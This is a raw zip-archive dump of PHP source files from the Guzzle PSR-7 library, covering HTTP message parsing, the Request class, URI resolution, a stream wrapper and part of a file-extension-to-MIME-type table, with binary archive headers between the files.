            $rawHeaders = preg_replace(Rfc7230::HEADER_FOLD_REGEX, ' ', $rawHeaders);
        }

        /** @var array[] $headerLines */
        $count = preg_match_all(Rfc7230::HEADER_REGEX, $rawHeaders, $headerLines, PREG_SET_ORDER);

        // If these aren't the same, then one line didn't match and there's an invalid header.
        if ($count !== substr_count($rawHeaders, "\n")) {
            // Folding is deprecated, see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4
            if (preg_match(Rfc7230::HEADER_FOLD_REGEX, $rawHeaders)) {
                throw new \InvalidArgumentException('Invalid header syntax: Obsolete line folding');
            }

            throw new \InvalidArgumentException('Invalid header syntax');
        }

        $headers = [];

        foreach ($headerLines as $headerLine) {
            $headers[$headerLine[1]][] = $headerLine[2];
        }

        return [
            'start-line' => $startLine,
            'headers' => $headers,
            'body' => $body,
        ];
    }

    /**
     * Constructs a URI for an HTTP request message.
     *
     * @param string $path    Path from the start-line
     * @param array  $headers Array of headers (each value an array).
     */
    public static function parseRequestUri(string $path, array $headers): string
    {
        $hostKey = array_filter(array_keys($headers), function ($k) {
            // Numeric array keys are converted to int by PHP.
            $k = (string) $k;

            return strtolower($k) === 'host';
        });

        // If no host is found, then a full URI cannot be constructed.
        if (!$hostKey) {
            return $path;
        }

        $host = $headers[reset($hostKey)][0];
        $scheme = substr($host, -4) === ':443' ? 'https' : 'http';

        return $scheme.'://'.$host.'/'.ltrim($path, '/');
    }

    /**
     * Parses a request message string into a request object.
     *
     * @param string $message Request message string.
     */
    public static function parseRequest(string $message): RequestInterface
    {
        $data = self::parseMessage($message);
        $matches = [];
        if (!preg_match('/^[\S]+\s+([a-zA-Z]+:\/\/|\/).*/', $data['start-line'], $matches)) {
            throw new \InvalidArgumentException('Invalid request string');
        }
        $parts = explode(' ', $data['start-line'], 3);
        $version = isset($parts[2]) ? explode('/', $parts[2])[1] : '1.1';

        $request = new Request(
            $parts[0],
            $matches[1] === '/' ? self::parseRequestUri($parts[1], $data['headers']) : $parts[1],
            $data['headers'],
            $data['body'],
            $version
        );

        return $matches[1] === '/' ? $request : $request->withRequestTarget($parts[1]);
    }

    /**
     * Parses a response message string into a response object.
     *
     * @param string $message Response message string.
     */
    public static function parseResponse(string $message): ResponseInterface
    {
        $data = self::parseMessage($message);
        // According to https://datatracker.ietf.org/doc/html/rfc7230#section-3.1.2
        // the space between status-code and reason-phrase is required. But
        // browsers accept responses without space and reason as well.
        if (!preg_match('/^HTTP\/.* [0-9]{3}( .*|$)/', $data['start-line'])) {
            throw new \InvalidArgumentException('Invalid response string: '.$data['start-line']);
        }
        $parts = explode(' ', $data['start-line'], 3);

        return new Response(
            (int) $parts[1],
            $data['headers'],
            $data['body'],
            explode('/', $parts[0])[1],
            $parts[2] ?? null
        );
    }
}
PK
h�\��)�DD&vendor/guzzlehttp/psr7/src/Request.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use InvalidArgumentException;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Message\UriInterface;

/**
 * PSR-7 request implementation.
 */
class Request implements RequestInterface
{
    use MessageTrait;

    /** @var string */
    private $method;

    /** @var string|null */
    private $requestTarget;

    /** @var UriInterface */
    private $uri;

    /**
     * @param string                               $method  HTTP method
     * @param string|UriInterface                  $uri     URI
     * @param (string|string[])[]                  $headers Request headers
     * @param string|resource|StreamInterface|null $body    Request body
     * @param string                               $version Protocol version
     */
    public function __construct(
        string $method,
        $uri,
        array $headers = [],
        $body = null,
        string $version = '1.1'
    ) {
        $this->assertMethod($method);
        if (!($uri instanceof UriInterface)) {
            $uri = new Uri($uri);
        }

        $this->method = strtoupper($method);
        $this->uri = $uri;
        $this->setHeaders($headers);
        $this->protocol = $version;

        if (!isset($this->headerNames['host'])) {
            $this->updateHostFromUri();
        }

        if ($body !== '' && $body !== null) {
            $this->stream = Utils::streamFor($body);
        }
    }

    public function getRequestTarget(): string
    {
        if ($this->requestTarget !== null) {
            return $this->requestTarget;
        }

        $target = $this->uri->getPath();
        if ($target === '') {
            $target = '/';
        }
        if ($this->uri->getQuery() != '') {
            $target .= '?'.$this->uri->getQuery();
        }

        return $target;
    }

    public function withRequestTarget($requestTarget): RequestInterface
    {
        if (preg_match('#\s#', $requestTarget)) {
            throw new InvalidArgumentException(
                'Invalid request target provided; cannot contain whitespace'
            );
        }

        $new = clone $this;
        $new->requestTarget = $requestTarget;

        return $new;
    }

    public function getMethod(): string
    {
        return $this->method;
    }

    public function withMethod($method): RequestInterface
    {
        $this->assertMethod($method);
        $new = clone $this;
        $new->method = strtoupper($method);

        return $new;
    }

    public function getUri(): UriInterface
    {
        return $this->uri;
    }

    public function withUri(UriInterface $uri, $preserveHost = false): RequestInterface
    {
        if ($uri === $this->uri) {
            return $this;
        }

        $new = clone $this;
        $new->uri = $uri;

        if (!$preserveHost || !isset($this->headerNames['host'])) {
            $new->updateHostFromUri();
        }

        return $new;
    }

    private function updateHostFromUri(): void
    {
        $host = $this->uri->getHost();

        if ($host == '') {
            return;
        }

        if (($port = $this->uri->getPort()) !== null) {
            $host .= ':'.$port;
        }

        if (isset($this->headerNames['host'])) {
            $header = $this->headerNames['host'];
        } else {
            $header = 'Host';
            $this->headerNames['host'] = 'Host';
        }
        // Ensure Host is the first header.
        // See: https://datatracker.ietf.org/doc/html/rfc7230#section-5.4
        $this->headers = [$header => [$host]] + $this->headers;
    }

    /**
     * @param mixed $method
     */
    private function assertMethod($method): void
    {
        if (!is_string($method) || $method === '') {
            throw new InvalidArgumentException('Method must be a non-empty string.');
        }
    }
}
PK
h�\b���!�!*vendor/guzzlehttp/psr7/src/UriResolver.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\UriInterface;

/**
 * Resolves a URI reference in the context of a base URI and the opposite way.
 *
 * @author Tobias Schultze
 *
 * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5
 */
final class UriResolver
{
    /**
     * Removes dot segments from a path and returns the new path.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5.2.4
     */
    public static function removeDotSegments(string $path): string
    {
        if ($path === '' || $path === '/') {
            return $path;
        }

        $results = [];
        $segments = explode('/', $path);
        foreach ($segments as $segment) {
            if ($segment === '..') {
                array_pop($results);
            } elseif ($segment !== '.') {
                $results[] = $segment;
            }
        }

        $newPath = implode('/', $results);

        if ($path[0] === '/' && (!isset($newPath[0]) || $newPath[0] !== '/')) {
            // Re-add the leading slash if necessary for cases like "/.."
            $newPath = '/'.$newPath;
        } elseif ($newPath !== '' && ($segment === '.' || $segment === '..')) {
            // Add the trailing slash if necessary
            // If newPath is not empty, then $segment must be set and is the last segment from the foreach
            $newPath .= '/';
        }

        return $newPath;
    }

    /**
     * Converts the relative URI into a new URI that is resolved against the base URI.
     *
     * @see https://datatracker.ietf.org/doc/html/rfc3986#section-5.2
     */
    public static function resolve(UriInterface $base, UriInterface $rel): UriInterface
    {
        if ((string) $rel === '') {
            // we can simply return the same base URI instance for this same-document reference
            return $base;
        }

        if ($rel->getScheme() != '') {
            return $rel->withPath(self::removeDotSegments($rel->getPath()));
        }

        if ($rel->getAuthority() != '') {
            $targetAuthority = $rel->getAuthority();
            $targetPath = self::removeDotSegments($rel->getPath());
            $targetQuery = $rel->getQuery();
        } else {
            $targetAuthority = $base->getAuthority();
            if ($rel->getPath() === '') {
                $targetPath = $base->getPath();
                $targetQuery = $rel->getQuery() != '' ? $rel->getQuery() : $base->getQuery();
            } else {
                if ($rel->getPath()[0] === '/') {
                    $targetPath = $rel->getPath();
                } else {
                    if ($targetAuthority != '' && $base->getPath() === '') {
                        $targetPath = '/'.$rel->getPath();
                    } else {
                        $lastSlashPos = strrpos($base->getPath(), '/');
                        if ($lastSlashPos === false) {
                            $targetPath = $rel->getPath();
                        } else {
                            $targetPath = substr($base->getPath(), 0, $lastSlashPos + 1).$rel->getPath();
                        }
                    }
                }
                $targetPath = self::removeDotSegments($targetPath);
                $targetQuery = $rel->getQuery();
            }
        }

        return new Uri(Uri::composeComponents(
            $base->getScheme(),
            $targetAuthority,
            $targetPath,
            $targetQuery,
            $rel->getFragment()
        ));
    }

    /**
     * Returns the target URI as a relative reference from the base URI.
     *
     * This method is the counterpart to resolve():
     *
     *    (string) $target === (string) UriResolver::resolve($base, UriResolver::relativize($base, $target))
     *
     * One use-case is to use the current request URI as base URI and then generate relative links in your documents
     * to reduce the document size or offer self-contained downloadable document archives.
     *
     *    $base = new Uri('http://example.com/a/b/');
     *    echo UriResolver::relativize($base, new Uri('http://example.com/a/b/c'));  // prints 'c'.
     *    echo UriResolver::relativize($base, new Uri('http://example.com/a/x/y'));  // prints '../x/y'.
     *    echo UriResolver::relativize($base, new Uri('http://example.com/a/b/?q')); // prints '?q'.
     *    echo UriResolver::relativize($base, new Uri('http://example.org/a/b/'));   // prints '//example.org/a/b/'.
     *
     * This method also accepts a target that is already relative and will try to relativize it further. Only a
     * relative-path reference will be returned as-is.
     *
     *    echo UriResolver::relativize($base, new Uri('/a/b/c'));  // prints 'c' as well
     */
    public static function relativize(UriInterface $base, UriInterface $target): UriInterface
    {
        if ($target->getScheme() !== ''
            && ($base->getScheme() !== $target->getScheme() || $target->getAuthority() === '' && $base->getAuthority() !== '')
        ) {
            return $target;
        }

        if (Uri::isRelativePathReference($target)) {
            // As the target is already highly relative we return it as-is. It would be possible to resolve
            // the target with `$target = self::resolve($base, $target);` and then try make it more relative
            // by removing a duplicate query. But let's not do that automatically.
            return $target;
        }

        if ($target->getAuthority() !== '' && $base->getAuthority() !== $target->getAuthority()) {
            return $target->withScheme('');
        }

        // We must remove the path before removing the authority because if the path starts with two slashes, the URI
        // would turn invalid. And we also cannot set a relative path before removing the authority, as that is also
        // invalid.
        $emptyPathUri = $target->withScheme('')->withPath('')->withUserInfo('')->withPort(null)->withHost('');

        if ($base->getPath() !== $target->getPath()) {
            return $emptyPathUri->withPath(self::getRelativePath($base, $target));
        }

        if ($base->getQuery() === $target->getQuery()) {
            // Only the target fragment is left. And it must be returned even if base and target fragment are the same.
            return $emptyPathUri->withQuery('');
        }

        // If the base URI has a query but the target has none, we cannot return an empty path reference as it would
        // inherit the base query component when resolving.
        if ($target->getQuery() === '') {
            $segments = explode('/', $target->getPath());
            /** @var string $lastSegment */
            $lastSegment = end($segments);

            return $emptyPathUri->withPath($lastSegment === '' ? './' : $lastSegment);
        }

        return $emptyPathUri;
    }

    private static function getRelativePath(UriInterface $base, UriInterface $target): string
    {
        $sourceSegments = explode('/', $base->getPath());
        $targetSegments = explode('/', $target->getPath());
        array_pop($sourceSegments);
        $targetLastSegment = array_pop($targetSegments);
        foreach ($sourceSegments as $i => $segment) {
            if (isset($targetSegments[$i]) && $segment === $targetSegments[$i]) {
                unset($sourceSegments[$i], $targetSegments[$i]);
            } else {
                break;
            }
        }
        $targetSegments[] = $targetLastSegment;
        $relativePath = str_repeat('../', count($sourceSegments)).implode('/', $targetSegments);

        // A reference to am empty last segment or an empty first sub-segment must be prefixed with "./".
        // This also applies to a segment with a colon character (e.g., "file:colon") that cannot be used
        // as the first segment of a relative-path reference, as it would be mistaken for a scheme name.
        if ('' === $relativePath || false !== strpos(explode('/', $relativePath, 2)[0], ':')) {
            $relativePath = "./$relativePath";
        } elseif ('/' === $relativePath[0]) {
            if ($base->getAuthority() != '' && $base->getPath() === '') {
                // In this case an extra slash is added by resolve() automatically. So we must not add one here.
                $relativePath = ".$relativePath";
            } else {
                $relativePath = "./$relativePath";
            }
        }

        return $relativePath;
    }

    private function __construct()
    {
        // cannot be instantiated
    }
}
PK
h�\0 N_��,vendor/guzzlehttp/psr7/src/StreamWrapper.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Converts Guzzle streams into PHP stream resources.
 *
 * @see https://www.php.net/streamwrapper
 */
final class StreamWrapper
{
    /** @var resource */
    public $context;

    /** @var StreamInterface */
    private $stream;

    /** @var string r, r+, or w */
    private $mode;

    /**
     * Returns a resource representing the stream.
     *
     * @param StreamInterface $stream The stream to get a resource for
     *
     * @return resource
     *
     * @throws \InvalidArgumentException if stream is not readable or writable
     */
    public static function getResource(StreamInterface $stream)
    {
        self::register();

        if ($stream->isReadable()) {
            $mode = $stream->isWritable() ? 'r+' : 'r';
        } elseif ($stream->isWritable()) {
            $mode = 'w';
        } else {
            throw new \InvalidArgumentException('The stream must be readable, '
                .'writable, or both.');
        }

        return fopen('guzzle://stream', $mode, false, self::createStreamContext($stream));
    }

    /**
     * Creates a stream context that can be used to open a stream as a php stream resource.
     *
     * @return resource
     */
    public static function createStreamContext(StreamInterface $stream)
    {
        return stream_context_create([
            'guzzle' => ['stream' => $stream],
        ]);
    }

    /**
     * Registers the stream wrapper if needed
     */
    public static function register(): void
    {
        if (!in_array('guzzle', stream_get_wrappers())) {
            stream_wrapper_register('guzzle', __CLASS__);
        }
    }

    public function stream_open(string $path, string $mode, int $options, string &$opened_path = null): bool
    {
        $options = stream_context_get_options($this->context);

        if (!isset($options['guzzle']['stream'])) {
            return false;
        }

        $this->mode = $mode;
        $this->stream = $options['guzzle']['stream'];

        return true;
    }

    public function stream_read(int $count): string
    {
        return $this->stream->read($count);
    }

    public function stream_write(string $data): int
    {
        return $this->stream->write($data);
    }

    public function stream_tell(): int
    {
        return $this->stream->tell();
    }

    public function stream_eof(): bool
    {
        return $this->stream->eof();
    }

    public function stream_seek(int $offset, int $whence): bool
    {
        $this->stream->seek($offset, $whence);

        return true;
    }

    /**
     * @return resource|false
     */
    public function stream_cast(int $cast_as)
    {
        $stream = clone $this->stream;
        $resource = $stream->detach();

        return $resource ?? false;
    }

    /**
     * @return array{
     *   dev: int,
     *   ino: int,
     *   mode: int,
     *   nlink: int,
     *   uid: int,
     *   gid: int,
     *   rdev: int,
     *   size: int,
     *   atime: int,
     *   mtime: int,
     *   ctime: int,
     *   blksize: int,
     *   blocks: int
     * }
     */
    public function stream_stat(): array
    {
        static $modeMap = [
            'r' => 33060,
            'rb' => 33060,
            'r+' => 33206,
            'w' => 33188,
            'wb' => 33188,
        ];

        return [
            'dev' => 0,
            'ino' => 0,
            'mode' => $modeMap[$this->mode],
            'nlink' => 0,
            'uid' => 0,
            'gid' => 0,
            'rdev' => 0,
            'size' => $this->stream->getSize() ?: 0,
            'atime' => 0,
            'mtime' => 0,
            'ctime' => 0,
            'blksize' => 0,
            'blocks' => 0,
        ];
    }

    /**
     * @return array{
     *   dev: int,
     *   ino: int,
     *   mode: int,
     *   nlink: int,
     *   uid: int,
     *   gid: int,
     *   rdev: int,
     *   size: int,
     *   atime: int,
     *   mtime: int,
     *   ctime: int,
     *   blksize: int,
     *   blocks: int
     * }
     */
    public function url_stat(string $path, int $flags): array
    {
        return [
            'dev' => 0,
            'ino' => 0,
            'mode' => 0,
            'nlink' => 0,
            'uid' => 0,
            'gid' => 0,
            'rdev' => 0,
            'size' => 0,
            'atime' => 0,
            'mtime' => 0,
            'ctime' => 0,
            'blksize' => 0,
            'blocks' => 0,
        ];
    }
}
PK
h�\{(����'vendor/guzzlehttp/psr7/src/MimeType.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

final class MimeType
{
    private const MIME_TYPES = [
        '1km' => 'application/vnd.1000minds.decision-model+xml',
        '3dml' => 'text/vnd.in3d.3dml',
        '3ds' => 'image/x-3ds',
        '3g2' => 'video/3gpp2',
        '3gp' => 'video/3gp',
        '3gpp' => 'video/3gpp',
        '3mf' => 'model/3mf',
        '7z' => 'application/x-7z-compressed',
        '7zip' => 'application/x-7z-compressed',
        '123' => 'application/vnd.lotus-1-2-3',
        'aab' => 'application/x-authorware-bin',
        'aac' => 'audio/aac',
        'aam' => 'application/x-authorware-map',
        'aas' => 'application/x-authorware-seg',
        'abw' => 'application/x-abiword',
        'ac' => 'application/vnd.nokia.n-gage.ac+xml',
        'ac3' => 'audio/ac3',
        'acc' => 'application/vnd.americandynamics.acc',
        'ace' => 'application/x-ace-compressed',
        'acu' => 'application/vnd.acucobol',
        'acutc' => 'application/vnd.acucorp',
        'adp' => 'audio/adpcm',
        'adts' => 'audio/aac',
        'aep' => 'application/vnd.audiograph',
        'afm' => 'application/x-font-type1',
        'afp' => 'application/vnd.ibm.modcap',
        'age' => 'application/vnd.age',
        'ahead' => 'application/vnd.ahead.space',
        'ai' => 'application/pdf',
        'aif' => 'audio/x-aiff',
        'aifc' => 'audio/x-aiff',
        'aiff' => 'audio/x-aiff',
        'air' => 'application/vnd.adobe.air-application-installer-package+zip',
        'ait' => 'application/vnd.dvb.ait',
        'ami' => 'application/vnd.amiga.ami',
        'aml' => 'application/automationml-aml+xml',
        'amlx' => 'application/automationml-amlx+zip',
        'amr' => 'audio/amr',
        'apk' => 'application/vnd.android.package-archive',
        'apng' => 'image/apng',
        'appcache' => 'text/cache-manifest',
        'appinstaller' => 'application/appinstaller',
        'application' => 'application/x-ms-application',
        'appx' => 'application/appx',
        'appxbundle' => 'application/appxbundle',
        'apr' => 'application/vnd.lotus-approach',
        'arc' => 'application/x-freearc',
        'arj' => 'application/x-arj',
        'asc' => 'application/pgp-signature',
        'asf' => 'video/x-ms-asf',
        'asm' => 'text/x-asm',
        'aso' => 'application/vnd.accpac.simply.aso',
        'asx' => 'video/x-ms-asf',
        'atc' => 'application/vnd.acucorp',
        'atom' => 'application/atom+xml',
        'atomcat' => 'application/atomcat+xml',
        'atomdeleted' => 'application/atomdeleted+xml',
        'atomsvc' => 'application/atomsvc+xml',
        'atx' => 'application/vnd.antix.game-component',
        'au' => 'audio/x-au',
        'avci' => 'image/avci',
        'avcs' => 'image/avcs',
        'avi' => 'video/x-msvideo',
        'avif' => 'image/avif',
        'aw' => 'application/applixware',
        'azf' => 'application/vnd.airzip.filesecure.azf',
        'azs' => 'application/vnd.airzip.filesecure.azs',
        'azv' => 'image/vnd.airzip.accelerator.azv',
        'azw' => 'application/vnd.amazon.ebook',
        'b16' => 'image/vnd.pco.b16',
        'bat' => 'application/x-msdownload',
        'bcpio' => 'application/x-bcpio',
        'bdf' => 'application/x-font-bdf',
        'bdm' => 'application/vnd.syncml.dm+wbxml',
        'bdoc' => 'application/x-bdoc',
        'bed' => 'application/vnd.realvnc.bed',
        'bh2' => 'application/vnd.fujitsu.oasysprs',
        'bin' => 'application/octet-stream',
        'blb' => 'application/x-blorb',
        'blorb' => 'application/x-blorb',
        'bmi' => 'application/vnd.bmi',
        'bmml' => 'application/vnd.balsamiq.bmml+xml',
        'bmp' => 'image/bmp',
        'book' => 'application/vnd.framemaker',
        'box' => 'application/vnd.previewsystems.box',
        'boz' => 'application/x-bzip2',
        'bpk' => 'application/octet-stream',
        'bpmn' => 'application/octet-stream',
        'bsp' => 'model/vnd.valve.source.compiled-map',
        'btf' => 'image/prs.btif',
        'btif' => 'image/prs.btif',
        'buffer' => 'application/octet-stream',
        'bz' => 'application/x-bzip',
        'bz2' => 'application/x-bzip2',
        'c' => 'text/x-c',
        'c4d' => 'application/vnd.clonk.c4group',
        'c4f' => 'application/vnd.clonk.c4group',
        'c4g' => 'application/vnd.clonk.c4group',
        'c4p' => 'application/vnd.clonk.c4group',
        'c4u' => 'application/vnd.clonk.c4group',
        'c11amc' => 'application/vnd.cluetrust.cartomobile-config',
        'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg',
        'cab' => 'application/vnd.ms-cab-compressed',
        'caf' => 'audio/x-caf',
        'cap' => 'application/vnd.tcpdump.pcap',
        'car' => 'application/vnd.curl.car',
        'cat' => 'application/vnd.ms-pki.seccat',
        'cb7' => 'application/x-cbr',
        'cba' => 'application/x-cbr',
        'cbr' => 'application/x-cbr',
        'cbt' => 'application/x-cbr',
        'cbz' => 'application/x-cbr',
        'cc' => 'text/x-c',
        'cco' => 'application/x-cocoa',
        'cct' => 'application/x-director',
        'ccxml' => 'application/ccxml+xml',
        'cdbcmsg' => 'application/vnd.contact.cmsg',
        'cdf' => 'application/x-netcdf',
        'cdfx' => 'application/cdfx+xml',
        'cdkey' => 'application/vnd.mediastation.cdkey',
        'cdmia' => 'application/cdmi-capability',
        'cdmic' => 'application/cdmi-container',
        'cdmid' => 'application/cdmi-domain',
        'cdmio' => 'application/cdmi-object',
        'cdmiq' => 'application/cdmi-queue',
        'cdr' => 'application/cdr',
        'cdx' => 'chemical/x-cdx',
        'cdxml' => 'application/vnd.chemdraw+xml',
        'cdy' => 'application/vnd.cinderella',
        'cer' => 'application/pkix-cert',
        'cfs' => 'application/x-cfs-compressed',
        'cgm' => 'image/cgm',
        'chat' => 'application/x-chat',
        'chm' => 'application/vnd.ms-htmlhelp',
        'chrt' => 'application/vnd.kde.kchart',
        'cif' => 'chemical/x-cif',
        'cii' => 'application/vnd.anser-web-certificate-issue-initiation',
        'cil' => 'application/vnd.ms-artgalry',
        'cjs' => 'application/node',
        'cla' => 'application/vnd.claymore',
        'class' => 'application/octet-stream',
        'cld' => 'model/vnd.cld',
        'clkk' => 'application/vnd.crick.clicker.keyboard',
        'clkp' => 'application/vnd.crick.clicker.palette',
        'clkt' => 'application/vnd.crick.clicker.template',
        'clkw' => 'application/vnd.crick.clicker.wordbank',
        'clkx' => 'application/vnd.crick.clicker',
        'clp' => 'application/x-msclip',
        'cmc' => 'application/vnd.cosmocaller',
        'cmdf' => 'chemical/x-cmdf',
        'cml' => 'chemical/x-cml',
        'cmp' => 'application/vnd.yellowriver-custom-menu',
        'cmx' => 'image/x-cmx',
        'cod' => 'application/vnd.rim.cod',
        'coffee' => 'text/coffeescript',
        'com' => 'application/x-msdownload',
        'conf' => 'text/plain',
        'cpio' => 'application/x-cpio',
        'cpl' => 'application/cpl+xml',
        'cpp' => 'text/x-c',
        'cpt' => 'application/mac-compactpro',
        'crd' => 'application/x-mscardfile',
        'crl' => 'application/pkix-crl',
        'crt' => 'application/x-x509-ca-cert',
        'crx' => 'application/x-chrome-extension',
        'cryptonote' => 'application/vnd.rig.cryptonote',
        'csh' => 'application/x-csh',
        'csl' => 'application/vnd.citationstyles.style+xml',
        'csml' => 'chemical/x-csml',
        'csp' => 'application/vnd.commonspace',
        'csr' => 'application/octet-stream',
        'css' => 'text/css',
        'cst' => 'application/x-director',
        'csv' => 'text/csv',
        'cu' => 'application/cu-seeme',
        'curl' => 'text/vnd.curl',
        'cwl' => 'application/cwl',
        'cww' => 'application/prs.cww',
        'cxt' => 'application/x-director',
        'cxx' => 'text/x-c',
        'dae' => 'model/vnd.collada+xml',
        'daf' => 'application/vnd.mobius.daf',
        'dart' => 'application/vnd.dart',
        'dataless' => 'application/vnd.fdsn.seed',
        'davmount' => 'application/davmount+xml',
        'dbf' => 'application/vnd.dbf',
        'dbk' => 'application/docbook+xml',
        'dcr' => 'application/x-director',
        'dcurl' => 'text/vnd.curl.dcurl',
        'dd2' => 'application/vnd.oma.dd2+xml',
        'ddd' => 'application/vnd.fujixerox.ddd',
        'ddf' => 'application/vnd.syncml.dmddf+xml',
        'dds' => 'image/vnd.ms-dds',
        'deb' => 'application/x-debian-package',
        'def' => 'text/plain',
        'deploy' => 'application/octet-stream',
        'der' => 'application/x-x509-ca-cert',
        'dfac' => 'application/vnd.dreamfactory',
        'dgc' => 'application/x-dgc-compressed',
        'dib' => 'image/bmp',
        'dic' => 'text/x-c',
        'dir' => 'application/x-director',
        'dis' => 'application/vnd.mobius.dis',
        'disposition-notification' => 'message/disposition-notification',
        'dist' => 'application/octet-stream',
        'distz' => 'application/octet-stream',
        'djv' => 'image/vnd.djvu',
        'djvu' => 'image/vnd.djvu',
        'dll' => 'application/octet-stream',
        'dmg' => 'application/x-apple-diskimage',
        'dmn' => 'application/octet-stream',
        'dmp' => 'application/vnd.tcpdump.pcap',
        'dms' => 'application/octet-stream',
        'dna' => 'application/vnd.dna',
        'doc' => 'application/msword',
        'docm' => 'application/vnd.ms-word.template.macroEnabled.12',
        'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'dot' => 'application/msword',
        'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
        'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
        'dp' => 'application/vnd.osgi.dp',
        'dpg' => 'application/vnd.dpgraph',
        'dpx' => 'image/dpx',
        'dra' => 'audio/vnd.dra',
        'drle' => 'image/dicom-rle',
        'dsc' => 'text/prs.lines.tag',
        'dssc' => 'application/dssc+der',
        'dtb' => 'application/x-dtbook+xml',
        'dtd' => 'application/xml-dtd',
        'dts' => 'audio/vnd.dts',
        'dtshd' => 'audio/vnd.dts.hd',
        'dump' => 'application/octet-stream',
        'dvb' => 'video/vnd.dvb.file',
        'dvi' => 'application/x-dvi',
        'dwd' => 'application/atsc-dwd+xml',
        'dwf' => 'model/vnd.dwf',
        'dwg' => 'image/vnd.dwg',
        'dxf' => 'image/vnd.dxf',
        'dxp' => 'application/vnd.spotfire.dxp',
        'dxr' => 'application/x-director',
        'ear' => 'application/java-archive',
        'ecelp4800' => 'audio/vnd.nuera.ecelp4800',
        'ecelp7470' => 'audio/vnd.nuera.ecelp7470',
        'ecelp9600' => 'audio/vnd.nuera.ecelp9600',
        'ecma' => 'application/ecmascript',
        'edm' => 'application/vnd.novadigm.edm',
        'edx' => 'application/vnd.novadigm.edx',
        'efif' => 'application/vnd.picsel',
        'ei6' => 'application/vnd.pg.osasli',
        'elc' => 'application/octet-stream',
        'emf' => 'image/emf',
        'eml' => 'message/rfc822',
        'emma' => 'application/emma+xml',
        'emotionml' => 'application/emotionml+xml',
        'emz' => 'application/x-msmetafile',
        'eol' => 'audio/vnd.digital-winds',
        'eot' => 'application/vnd.ms-fontobject',
        'eps' => 'application/postscript',
        'epub' => 'application/epub+zip',
        'es3' => 'application/vnd.eszigno3+xml',
        'esa' => 'application/vnd.osgi.subsystem',
        'esf' => 'application/vnd.epson.esf',
        'et3' => 'application/vnd.eszigno3+xml',
        'etx' => 'text/x-setext',
        'eva' => 'application/x-eva',
        'evy' => 'application/x-envoy',
        'exe' => 'application/octet-stream',
        'exi' => 'application/exi',
        'exp' => 'application/express',
        'exr' => 'image/aces',
        'ext' => 'application/vnd.novadigm.ext',
        'ez' => 'application/andrew-inset',
        'ez2' => 'application/vnd.ezpix-album',
        'ez3' => 'application/vnd.ezpix-package',
        'f' => 'text/x-fortran',
        'f4v' => 'video/mp4',
        'f77' => 'text/x-fortran',
        'f90' => 'text/x-fortran',
        'fbs' => 'image/vnd.fastbidsheet',
        'fcdt' => 'application/vnd.adobe.formscentral.fcdt',
        'fcs' => 'application/vnd.isac.fcs',
        'fdf' => 'application/vnd.fdf',
        'fdt' => 'application/fdt+xml',
        'fe_launch' => 'application/vnd.denovo.fcselayout-link',
        'fg5' => 'application/vnd.fujitsu.oasysgp',
        'fgd' => 'application/x-director',
        'fh' => 'image/x-freehand',
        'fh4' => 'image/x-freehand',
        'fh5' => 'image/x-freehand',
        'fh7' => 'image/x-freehand',
        'fhc' => 'image/x-freehand',
        'fig' => 'application/x-xfig',
        'fits' => 'image/fits',
        'flac' => 'audio/x-flac',
        'fli' => 'video/x-fli',
        'flo' => 'application/vnd.micrografx.flo',
        'flv' => 'video/x-flv',
        'flw' => 'application/vnd.kde.kivio',
        'flx' => 'text/vnd.fmi.flexstor',
        'fly' => 'text/vnd.fly',
        'fm' => 'application/vnd.framemaker',
        'fnc' => 'application/vnd.frogans.fnc',
        'fo' => 'application/vnd.software602.filler.form+xml',
        'for' => 'text/x-fortran',
        'fpx' => 'image/vnd.fpx',
        'frame' => 'application/vnd.framemaker',
        'fsc' => 'application/vnd.fsc.weblaunch',
        'fst' => 'image/vnd.fst',
        'ftc' => 'application/vnd.fluxtime.clip',
        'fti' => 'application/vnd.anser-web-funds-transfer-initiation',
        'fvt' => 'video/vnd.fvt',
        'fxp' => 'application/vnd.adobe.fxp',
        'fxpl' => 'application/vnd.adobe.fxp',
        'fzs' => 'application/vnd.fuzzysheet',
        'g2w' => 'application/vnd.geoplan',
        'g3' => 'image/g3fax',
        'g3w' => 'application/vnd.geospace',
        'gac' => 'application/vnd.groove-account',
        'gam' => 'application/x-tads',
        'gbr' => 'application/rpki-ghostbusters',
        'gca' => 'application/x-gca-compressed',
        'gdl' => 'model/vnd.gdl',
        'gdoc' => 'application/vnd.google-apps.document',
        'ged' => 'text/vnd.familysearch.gedcom',
        'geo' => 'application/vnd.dynageo',
        'geojson' => 'application/geo+json',
        'gex' => 'application/vnd.geometry-explorer',
        'ggb' => 'application/vnd.geogebra.file',
        'ggt' => 'application/vnd.geogebra.tool',
        'ghf' => 'application/vnd.groove-help',
        'gif' => 'image/gif',
        'gim' => 'application/vnd.groove-identity-message',
        'glb' => 'model/gltf-binary',
        'gltf' => 'model/gltf+json',
        'gml' => 'application/gml+xml',
        'gmx' => 'application/vnd.gmx',
        'gnumeric' => 'application/x-gnumeric',
        'gpg' => 'application/gpg-keys',
        'gph' => 'application/vnd.flographit',
        'gpx' => 'application/gpx+xml',
        'gqf' => 'application/vnd.grafeq',
        'gqs' => 'application/vnd.grafeq',
        'gram' => 'application/srgs',
        'gramps' => 'application/x-gramps-xml',
        'gre' => 'application/vnd.geometry-explorer',
        'grv' => 'application/vnd.groove-injector',
        'grxml' => 'application/srgs+xml',
        'gsf' => 'application/x-font-ghostscript',
        'gsheet' => 'application/vnd.google-apps.spreadsheet',
        'gslides' => 'application/vnd.google-apps.presentation',
        'gtar' => 'application/x-gtar',
        'gtm' => 'application/vnd.groove-tool-message',
        'gtw' => 'model/vnd.gtw',
        'gv' => 'text/vnd.graphviz',
        'gxf' => 'application/gxf',
        'gxt' => 'application/vnd.geonext',
        'gz' => 'application/gzip',
        'gzip' => 'application/gzip',
        'h' => 'text/x-c',
